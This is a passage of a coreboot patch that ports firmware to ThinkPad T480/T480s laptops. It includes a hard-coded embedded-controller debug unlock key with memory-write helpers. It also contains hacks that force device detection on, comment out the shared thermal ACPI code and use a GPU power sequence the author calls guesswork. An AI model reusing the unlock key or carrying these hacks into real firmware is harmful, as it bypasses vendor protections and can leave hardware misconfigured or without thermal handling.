+347,7 @@ void pci_rom_ssdt(const struct device *device) + memcpy(cbrom, rom, cbrom_length); + + /* write _ROM method */ +- acpigen_write_scope(scope); ++ acpigen_write_scope("\\_SB.PCI0.RP01.PEGP"); + acpigen_write_rom(cbrom, cbrom_length); + acpigen_pop_len(); /* pop scope */ + } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index bc54d3b422..8f4a8e1986 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,7 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-#include "thermal.asl" ++//#include "thermal.asl" + #include "systemstatus.asl" + #include "thinkpad.asl" + } +diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c +index 16fc8dce39..be71a24ced 100644 +--- a/src/ec/lenovo/h8/bluetooth.c ++++ b/src/ec/lenovo/h8/bluetooth.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -28,16 +28,18 @@ bool h8_has_bdc(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_bdc_detection) { ++ if (1 || !conf->has_bdc_detection) { + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->bdc_gpio_num) == conf->bdc_gpio_lvl) { + printk(BIOS_INFO, "H8: BDC installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: BDC not installed\n"); + return false; +diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c +index 685886fcce..5cdcf77406 100644 +--- a/src/ec/lenovo/h8/wwan.c ++++ b/src/ec/lenovo/h8/wwan.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -26,16 +26,18 @@ bool h8_has_wwan(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_wwan_detection) { ++ if (1 || !conf->has_wwan_detection) { + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->wwan_gpio_num) == conf->wwan_gpio_lvl) { + printk(BIOS_INFO, "H8: WWAN installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: WWAN not installed\n"); + return false; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +new file mode 100644 +index 0000000000..4998672943 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +@@ -0,0 +1,57 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ bool ++ select BOARD_ROMSIZE_KB_16384 ++ select EC_LENOVO_H8 ++ select EC_LENOVO_PMH7 ++ select H8_HAS_BAT_THRESHOLDS_IMPL ++ select H8_HAS_LEDLOGO ++ select H8_HAS_PRIMARY_FN_KEYS ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select INTEL_GMA_HAVE_VBT ++ select INTEL_INT15 ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_HAS_TPM2 ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select MEMORY_MAPPED_TPM ++ select SOC_INTEL_COMMON_BLOCK_HDA_VERB ++ select SOC_INTEL_KABYLAKE ++ select SPD_READ_BY_WORD ++ select SYSTEM_TYPE_LAPTOP ++ ++config BOARD_LENOVO_T480 ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config BOARD_LENOVO_T480S ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++if BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config MAINBOARD_DIR ++ default "lenovo/sklkbl_thinkpad" ++ ++config VARIANT_DIR ++ default "t480" if BOARD_LENOVO_T480 ++ default "t480s" if BOARD_LENOVO_T480S ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config MAINBOARD_PART_NUMBER ++ default "T480" if BOARD_LENOVO_T480 ++ default "T480s" if BOARD_LENOVO_T480S ++ ++config CBFS_SIZE ++ default 0x900000 ++ ++config DIMM_MAX ++ default 2 ++ ++config DIMM_SPD_SIZE ++ default 512 # DDR4 ++ ++endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +new file mode 100644 +index 0000000000..abc273f387 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +@@ -0,0 +1,7 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_T480 ++ bool "ThinkPad T480" ++ ++config BOARD_LENOVO_T480S ++ bool "ThinkPad T480s" +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +new file mode 100644 +index 0000000000..c308239177 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +@@ -0,0 +1,73 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++bootblock-y += bootblock.c ec.c ++ ++romstage-y += variants/$(VARIANT_DIR)/memory_init_params.c ++ ++ramstage-y += ramstage.c ec.c ++ramstage-y += variants/$(VARIANT_DIR)/gpio.c variants/$(VARIANT_DIR)/hda_verb.c ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/$(VARIANT_DIR)/gma-mainboard.ads ++ ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_0.bin ++spd_0.bin-file := variants/$(VARIANT_DIR)/spd/spd_0.bin ++spd_0.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_1.bin ++spd_1.bin-file := variants/$(VARIANT_DIR)/spd/spd_1.bin ++spd_1.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_2.bin ++spd_2.bin-file := variants/$(VARIANT_DIR)/spd/spd_2.bin ++spd_2.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_3.bin ++spd_3.bin-file := variants/$(VARIANT_DIR)/spd/spd_3.bin ++spd_3.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_4.bin ++spd_4.bin-file := variants/$(VARIANT_DIR)/spd/spd_4.bin ++spd_4.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_5.bin ++spd_5.bin-file := variants/$(VARIANT_DIR)/spd/spd_5.bin ++spd_5.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_6.bin ++spd_6.bin-file := variants/$(VARIANT_DIR)/spd/spd_6.bin ++spd_6.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_7.bin ++spd_7.bin-file := variants/$(VARIANT_DIR)/spd/spd_7.bin ++spd_7.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_8.bin ++spd_8.bin-file := variants/$(VARIANT_DIR)/spd/spd_8.bin ++spd_8.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_9.bin ++spd_9.bin-file := variants/$(VARIANT_DIR)/spd/spd_9.bin ++spd_9.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_10.bin ++spd_10.bin-file := variants/$(VARIANT_DIR)/spd/spd_10.bin ++spd_10.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_11.bin ++spd_11.bin-file := variants/$(VARIANT_DIR)/spd/spd_11.bin ++spd_11.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_12.bin ++spd_12.bin-file := variants/$(VARIANT_DIR)/spd/spd_12.bin ++spd_12.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_13.bin ++spd_13.bin-file := variants/$(VARIANT_DIR)/spd/spd_13.bin ++spd_13.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_14.bin ++spd_14.bin-file := variants/$(VARIANT_DIR)/spd/spd_14.bin ++spd_14.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_15.bin ++spd_15.bin-file := variants/$(VARIANT_DIR)/spd/spd_15.bin ++spd_15.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_16.bin ++spd_16.bin-file := variants/$(VARIANT_DIR)/spd/spd_16.bin ++spd_16.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_17.bin ++spd_17.bin-file := variants/$(VARIANT_DIR)/spd/spd_17.bin ++spd_17.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_18.bin ++spd_18.bin-file := variants/$(VARIANT_DIR)/spd/spd_18.bin ++spd_18.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_19.bin ++spd_19.bin-file := variants/$(VARIANT_DIR)/spd/spd_19.bin ++spd_19.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_20.bin ++spd_20.bin-file := variants/$(VARIANT_DIR)/spd/spd_20.bin ++spd_20.bin-type := raw +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +new file mode 100644 +index 0000000000..3a949a2fca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +@@ -0,0 +1,12 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#define BRIGHTNESS_UP \_SB.PCI0.GFX0.INCB ++#define BRIGHTNESS_DOWN \_SB.PCI0.GFX0.DECB ++#define THINKPAD_EC_GPE 22 ++ ++Name(\TCRT, 100) ++Name(\TPSV, 90) ++Name(\FLVL, 0) ++ ++#include ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +new file mode 100644 +index 0000000000..55b1db5b11 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +@@ -0,0 +1,3 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +new file mode 100644 +index 0000000000..fb660dbdfa +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +@@ -0,0 +1,60 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include "ec.h" ++ ++static void configure_uart(uint16_t port, uint16_t iobase, uint8_t irqno) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Select LPC I/F LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ // Write UART BAR ++ pnp_write_le32(port, LPCIF_BAR_UART, (uint32_t) iobase << 16 | 0x8707); ++ // Set SIRQ4 to UART ++ pnp_write(port, LPCIF_SIRQ(irqno), LDN_UART); ++ ++ // Configure UART LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_UART); ++ pnp_write(port, UART_ACTIVATE, 0x01); ++ pnp_write(port, UART_CONFIG_SELECT, 0x00); ++ ++ microchip_pnp_exit_conf_state(port); ++ ++#ifdef CONFIG_BOARD_LENOVO_T480 ++ // Supply debug unlock key ++ debug_write_key(DEBUG_RW_KEY_IDX, debug_rw_key); ++ ++ // Use debug writes to set UART_TX and UART_RX GPIOs ++ debug_write_dword(0xf0c400 + 0x110, 0x00001000); ++ debug_write_dword(0xf0c400 + 0x114, 0x00001000); ++#endif ++} ++ ++ ++#define UART_PORT 0x3f8 ++#define UART_IRQ 4 ++ ++void bootblock_mainboard_early_init(void) ++{ ++ // Tell EC via BIOS Debug Port 1 that the world isn't on fire ++ ++ // Let the EC know that BIOS code is running ++ outb(0x11, 0x86); ++ outb(0x6e, 0x86); ++ ++ // Enable accesses to EC1 interface ++ ec0_write(0, ec0_read(0) | 0x20); ++ ++ // Reset LEDs to power on state ++ // (Without this warm reboot leaves LEDs off) ++ ec0_write(0x0c, 0x80); ++ ec0_write(0x0c, 0x07); ++ ec0_write(0x0c, 0x8a); ++ ++ // Setup debug UART ++ configure_uart(EC_CFG_PORT, UART_PORT, UART_IRQ); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +new file mode 100644 +index 0000000000..c07d4d53ca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +@@ -0,0 +1,71 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ # IGD Displays ++ register "gfx" = "GMA_STATIC_DISPLAYS(0)" ++ ++ register "panel_cfg" = "{ ++ .up_delay_ms = 200, ++ .down_delay_ms = 50, ++ .cycle_delay_ms = 600, ++ .backlight_on_delay_ms = 1, ++ .backlight_off_delay_ms = 200, ++ .backlight_pwm_hz = 200, ++ }" ++ ++ # Power ++ register "PmConfigSlpS3MinAssert" = "2" # 50ms ++ register "PmConfigSlpS4MinAssert" = "1" # 1s ++ register "PmConfigSlpSusMinAssert" = "3" # 500ms ++ register "PmConfigSlpAMinAssert" = "3" # 2s ++ ++ device domain 0 on ++ device ref igpu on end ++ device ref sa_thermal on end ++ device ref thermal on end ++ device ref south_xhci on end ++ device ref lpc_espi on ++ register "serirq_mode" = "SERIRQ_CONTINUOUS" ++ ++ register "gen1_dec" = "0x007c1601" ++ register "gen2_dec" = "0x000c15e1" ++ ++ chip ec/lenovo/pmh7 ++ register "backlight_enable" = "true" ++ register "dock_event_enable" = "true" ++ device pnp ff.1 on end # dummy ++ end ++ ++ chip ec/lenovo/h8 ++ register "beepmask0" = "0x00" ++ register "beepmask1" = "0x86" ++ register "config0" = "0xa6" ++ register "config1" = "0x0d" ++ register "config2" = "0xa8" ++ register "config3" = "0xc4" ++ register "has_keyboard_backlight" = "1" ++ register "event2_enable" = "0xff" ++ register "event3_enable" = "0xff" ++ register "event4_enable" = "0xd0" ++ register "event5_enable" = "0x3c" ++ register "event7_enable" = "0x01" ++ register "event8_enable" = "0x7b" ++ register "event9_enable" = "0xff" ++ register "eventc_enable" = "0xff" ++ register "eventd_enable" = "0xff" ++ register "evente_enable" = "0x9d" ++ device pnp ff.2 on # dummy ++ io 0x60 = 0x62 ++ io 0x62 = 0x66 ++ io 0x64 = 0x1600 ++ io 0x66 = 0x1604 ++ end ++ end ++ ++ chip drivers/pc80/tpm ++ device pnp 0c31.0 on end ++ end ++ end ++ device ref hda on end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +new file mode 100644 +index 0000000000..aa4d4de2a6 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +@@ -0,0 +1,33 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20110725 ++) ++{ ++ #include ++ #include ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ #include ++ } ++ ++ Scope (\_SB.PCI0.RP01) ++ { ++ Device (PEGP) ++ { ++ Name (_ADR, Zero) ++ } ++ } ++ ++ #include ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.c b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +new file mode 100644 +index 0000000000..adb6a60324 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +@@ -0,0 +1,153 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "ec.h" ++ ++#define MICROCHIP_CONFIGURATION_ENTRY_KEY 0x55 ++#define MICROCHIP_CONFIGURATION_EXIT_KEY 0xaa ++ ++void microchip_pnp_enter_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_ENTRY_KEY, port); ++} ++ ++void microchip_pnp_exit_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_EXIT_KEY, port); ++} ++ ++uint8_t pnp_read(uint16_t port, uint8_t index) ++{ ++ outb(index, port); ++ return inb(port + 1); ++} ++ ++uint32_t pnp_read_le32(uint16_t port, uint8_t index) ++{ ++ return (uint32_t) pnp_read(port, index) | ++ (uint32_t) pnp_read(port, index + 1) << 8 | ++ (uint32_t) pnp_read(port, index + 2) << 16 | ++ (uint32_t) pnp_read(port, index + 3) << 24; ++} ++ ++void pnp_write(uint16_t port, uint8_t index, uint8_t value) ++{ ++ outb(index, port); ++ outb(value, port + 1); ++} ++ ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value) ++{ ++ pnp_write(port, index, value & 0xff); ++ pnp_write(port, index + 1, value >> 8 & 0xff); ++ pnp_write(port, index + 2, value >> 16 & 0xff); ++ pnp_write(port, index + 3, value >> 24 & 0xff); ++} ++ ++static void ecN_clear_out_queue(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_OBF) ++ inb(data_port); ++} ++ ++static void ecN_wait_to_send(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_IBF) ++ ; ++} ++ ++static void ecN_wait_to_recv(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (!(inb(cmd_port) & EC_OBF)) ++ ; ++} ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_READ, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_recv(cmd_port, data_port); ++ return inb(data_port); ++} ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_WRITE, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(val, data_port); ++} ++ ++uint8_t eeprom_read(uint16_t addr) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(1, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(addr, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ return inl(EC2_DATA); ++} ++ ++void eeprom_write(uint16_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(2, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl((uint32_t) addr | (uint32_t) val << 16, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ inl(EC2_DATA); ++} ++ ++uint16_t debug_loaded_keys(void) ++{ ++ return (uint16_t) ec0_read(0x87) << 8 | (uint16_t) ec0_read(0x86); ++} ++ ++static void debug_cmd(uint8_t cmd) ++{ ++ ec0_write(EC_DEBUG_CMD, cmd); ++ while (ec0_read(EC_DEBUG_CMD) & 0x80) ++ ; ++} ++ ++void debug_read_key(uint8_t i, uint8_t *key) ++{ ++ debug_cmd(0x80 | (i & 0xf)); ++ for (int j = 0; j < 8; ++j) ++ key[j] = ec0_read(0x3e + j); ++} ++ ++void debug_write_key(uint8_t i, const uint8_t *key) ++{ ++ for (int j = 0; j < 8; ++j) ++ ec0_write(0x3e + j, key[j]); ++ debug_cmd(0xc0 | (i & 0xf)); ++} ++ ++uint32_t debug_read_dword(uint32_t addr) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xE2, EC3_DATA); ++ ecN_wait_to_recv(EC3_CMD, EC3_DATA); ++ return inl(EC3_DATA); ++} ++ ++void debug_write_dword(uint32_t addr, uint32_t val) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xEA, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(val, EC3_DATA); ++} ++ ++const uint8_t debug_rw_key[8] = { 0x7a, 0x41, 0xb1, 0x49, 0xfe, 0x21, 0x01, 0xcf }; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.h b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +new file mode 100644 +index 0000000000..d2963c8962 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +@@ -0,0 +1,99 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef SKLKBL_THINKPAD_EC_H ++#define SKLKBL_THINKPAD_EC_H ++ ++// EC configuration base address ++#define EC_CFG_PORT 0x4e ++ ++// Chip global registers ++#define PNP_LDN_SELECT 0x07 ++# define LDN_UART 0x07 ++# define LDN_LPCIF 0x0c ++#define EC_DEVICE_ID 0x20 ++#define EC_DEVICE_REV 0x21 ++ ++// LPC I/F registers ++#define LPCIF_SIRQ(i) (0x40 + (i)) ++ ++#define LPCIF_BAR_CFG 0x60 ++#define LPCIF_BAR_MAILBOX 0x64 ++#define LPCIF_BAR_8042 0x68 ++#define LPCIF_BAR_ACPI_EC0 0x6c ++#define LPCIF_BAR_ACPI_EC1 0x70 ++#define LPCIF_BAR_ACPI_EC2 0x74 ++#define LPCIF_BAR_ACPI_EC3 0x78 ++#define LPCIF_BAR_ACPI_PM0 0x7c ++#define LPCIF_BAR_UART 0x80 ++#define LPCIF_BAR_FAST_KYBD 0x84 ++#define LPCIF_BAR_EMBED_FLASH 0x88 ++#define LPCIF_BAR_GP_SPI 0x8c ++#define LPCIF_BAR_EMI 0x90 ++#define LPCIF_BAR_PMH7 0x94 ++#define LPCIF_BAR_PORT80_DBG0 0x98 ++#define LPCIF_BAR_PORT80_DBG1 0x9c ++#define LPCIF_BAR_RTC 0xa0 ++ ++// UART registers ++#define UART_ACTIVATE 0x30 ++#define UART_CONFIG_SELECT 0xf0 ++ ++void microchip_pnp_enter_conf_state(uint16_t port); ++void microchip_pnp_exit_conf_state(uint16_t port); ++uint8_t pnp_read(uint16_t port, uint8_t index); ++uint32_t pnp_read_le32(uint16_t port, uint8_t index); ++void pnp_write(uint16_t port, uint8_t index, uint8_t value); ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value); ++ ++#define EC0_CMD 0x0066 ++#define EC0_DATA 0x0062 ++#define EC1_CMD 0x1604 ++#define EC1_DATA 0x1600 ++#define EC2_CMD 0x1634 ++#define EC2_DATA 0x1630 ++#define EC3_CMD 0x161c ++#define EC3_DATA 0x1618 ++ ++#define EC_OBF (1 << 0) ++#define EC_IBF (1 << 1) ++ ++#define EC_READ 0x80 ++#define EC_WRITE 0x81 ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr); ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val); ++ ++// EC0 and EC1 mostly are useful with the READ/WRITE commands ++#define ec0_read(addr) ecN_read(EC0_CMD, EC0_DATA, addr) ++#define ec0_write(addr, val) ecN_write(EC0_CMD, EC0_DATA, addr, val) ++#define ec1_read(addr) ecN_read(EC1_CMD, EC1_DATA, addr) ++#define ec1_write(addr, val) ecN_write(EC1_CMD, EC1_DATA, addr, val) ++ ++// Read from the emulated EEPROM ++uint8_t eeprom_read(uint16_t addr); ++ ++// Write to the emulated EEPROM ++void eeprom_write(uint16_t addr, uint8_t val); ++ ++// Read loaded debug key mask ++uint16_t debug_loaded_keys(void); ++ ++// The following location (via either EC0 or EC1) can be used to interact with the debug interface ++#define EC_DEBUG_CMD 0x3d ++ ++void debug_read_key(uint8_t i, uint8_t *key); ++ ++void debug_write_key(uint8_t i, const uint8_t *key); ++ ++uint32_t debug_read_dword(uint32_t addr); ++ ++void debug_write_dword(uint32_t addr, uint32_t val); ++ ++// RW unlock key index ++#define DEBUG_RW_KEY_IDX 1 ++ ++// RW unlock key for EC version N24HT37W ++extern const uint8_t debug_rw_key[8]; ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +new file mode 100644 +index 0000000000..d89ed712d4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef GPIO_H ++#define GPIO_H ++ ++void variant_config_gpios(void); ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +new file mode 100644 +index 0000000000..44c8578852 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +@@ -0,0 +1,105 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include "ec.h" ++#include "gpio.h" ++ ++#define GPIO_GPU_RST GPP_E22 // active low ++#define GPIO_1R8VIDEO_AON_ON GPP_E23 ++ ++#define GPIO_DGFX_PWRGD GPP_F3 ++ ++#define GPIO_DISCRETE_PRESENCE GPP_D9 // active low ++#define GPIO_DGFX_VRAM_ID0 GPP_D11 ++#define GPIO_DGFX_VRAM_ID1 GPP_D12 ++ ++void mainboard_silicon_init_params(FSP_SIL_UPD *params) ++{ ++ static const char * const dgfx_vram_id_str[] = { "1GB", "2GB", "4GB", "N/A" }; ++ ++ int dgfx_vram_id; ++ ++ // Setup GPIOs ++ variant_config_gpios(); ++ ++ // Detect and enable dGPU ++ if (gpio_get(GPIO_DISCRETE_PRESENCE) == 0) { // active low ++ dgfx_vram_id = gpio_get(GPIO_DGFX_VRAM_ID0) | gpio_get(GPIO_DGFX_VRAM_ID1) << 1; ++ printk(BIOS_DEBUG, "Discrete GPU present with %s VRAM\n", dgfx_vram_id_str[dgfx_vram_id]); ++ ++ // NOTE: i pulled this GPU enable sequence from thin air ++ // it sometimes works but is buggy and the GPU disappears in some cases so disabling it by default. ++ // also unrelated to this enable sequence the nouveau driver only works on 6.8-6.9 kernels ++ if (get_uint_option("dgpu_enable", 0)) { ++ printk(BIOS_DEBUG, "Enabling discrete GPU\n"); ++ gpio_set(GPIO_1R8VIDEO_AON_ON, 1); // Enable GPU power rail ++ while (!gpio_get(GPIO_DGFX_PWRGD)) // Wait for power good signal from GPU ++ ; ++ gpio_set(GPIO_GPU_RST, 1); // Release GPU from reset ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU will remain disabled\n"); ++ } ++ ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU not present\n"); ++ } ++} ++ ++static void dump_ec_cfg(uint16_t port) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Device info ++ printk(BIOS_DEBUG, "Device id %02x\n", pnp_read(port, EC_DEVICE_ID)); ++ printk(BIOS_DEBUG, "Device rev %02x\n", pnp_read(port, EC_DEVICE_REV)); ++ ++ // Switch to LPCIF LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ ++ // Dump SIRQs ++ for (int i = 0; i <= 15; i += 1) ++ printk(BIOS_DEBUG, "SIRQ%d = %02x\n", i, pnp_read(port, LPCIF_SIRQ(i))); ++ ++ // Dump BARs ++ printk(BIOS_DEBUG, "BAR CFG = %08x\n", pnp_read_le32(port, LPCIF_BAR_CFG)); ++ printk(BIOS_DEBUG, "BAR MAILBOX = %08x\n", pnp_read_le32(port, LPCIF_BAR_MAILBOX)); ++ printk(BIOS_DEBUG, "BAR 8042 = %08x\n", pnp_read_le32(port, LPCIF_BAR_8042)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC0)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC1)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC2 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC2)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC3 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC3)); ++ printk(BIOS_DEBUG, "BAR ACPI_PM0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_PM0)); ++ printk(BIOS_DEBUG, "BAR UART = %08x\n", pnp_read_le32(port, LPCIF_BAR_UART)); ++ printk(BIOS_DEBUG, "BAR FAST_KYBD = %08x\n", pnp_read_le32(port, LPCIF_BAR_FAST_KYBD)); ++ printk(BIOS_DEBUG, "BAR EMBED_FLASH = %08x\n", 